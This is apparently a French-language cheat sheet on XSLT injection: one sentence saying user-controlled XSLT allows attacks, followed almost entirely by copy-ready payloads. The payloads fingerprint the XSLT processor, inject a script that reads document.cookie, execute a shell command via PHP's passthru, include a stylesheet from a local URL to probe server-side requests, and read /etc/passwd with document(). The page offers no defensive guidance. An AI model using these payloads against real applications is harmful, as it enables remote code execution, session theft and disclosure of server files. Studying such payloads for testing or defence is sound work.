XSLT (Extensible Stylesheet Language Transformations) est un langage permettant de transformer des documents XML en d'autres documents XML, ou d'autres formats tels que HTML pour les pages Web, texte brut. Lorsque le contenu XSLT est contrรดlable par l'utilisateur, diverses attaques sont possibles
Copier < xsl : value-of select = "system-property('xsl:version')" />
< xsl : value-of select = "system-property('xsl:vendor')" />
< xsl : value-of select = "system-property('xsl:vendor-url')" />
Copier < xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : php = "http://php.net/xsl" >
< xsl : template match = "/" >
< script >alert(document.cookie)</ script >
</ xsl : template >
</ xsl : stylesheet >
Copier < xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : php = "http://php.net/xsl" >
< xsl : template match = "/" >
< xsl : value-of select = "php:function('passthru','ls -la /')" />
</ xsl : template >
</ xsl : stylesheet >
Copier < xsl : stylesheet xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : abc = "http://php.net/xsl" version = "1.0" >
< xsl : include href = "http://127.0.0.1:8000/xslt" />
< xsl : template match = "/" >
</ xsl : template >
</ xsl : stylesheet >
Copier < xsl : stylesheet version = "1.0" xmlns : xsl = "http://www.w3.org/1999/XSL/Transform" xmlns : php = "http://php.net/xsl" >
< xsl : template match = "/" >
< xsl : copy-of select = "document('/etc/passwd')" />
</ xsl : template >
</ xsl : stylesheet >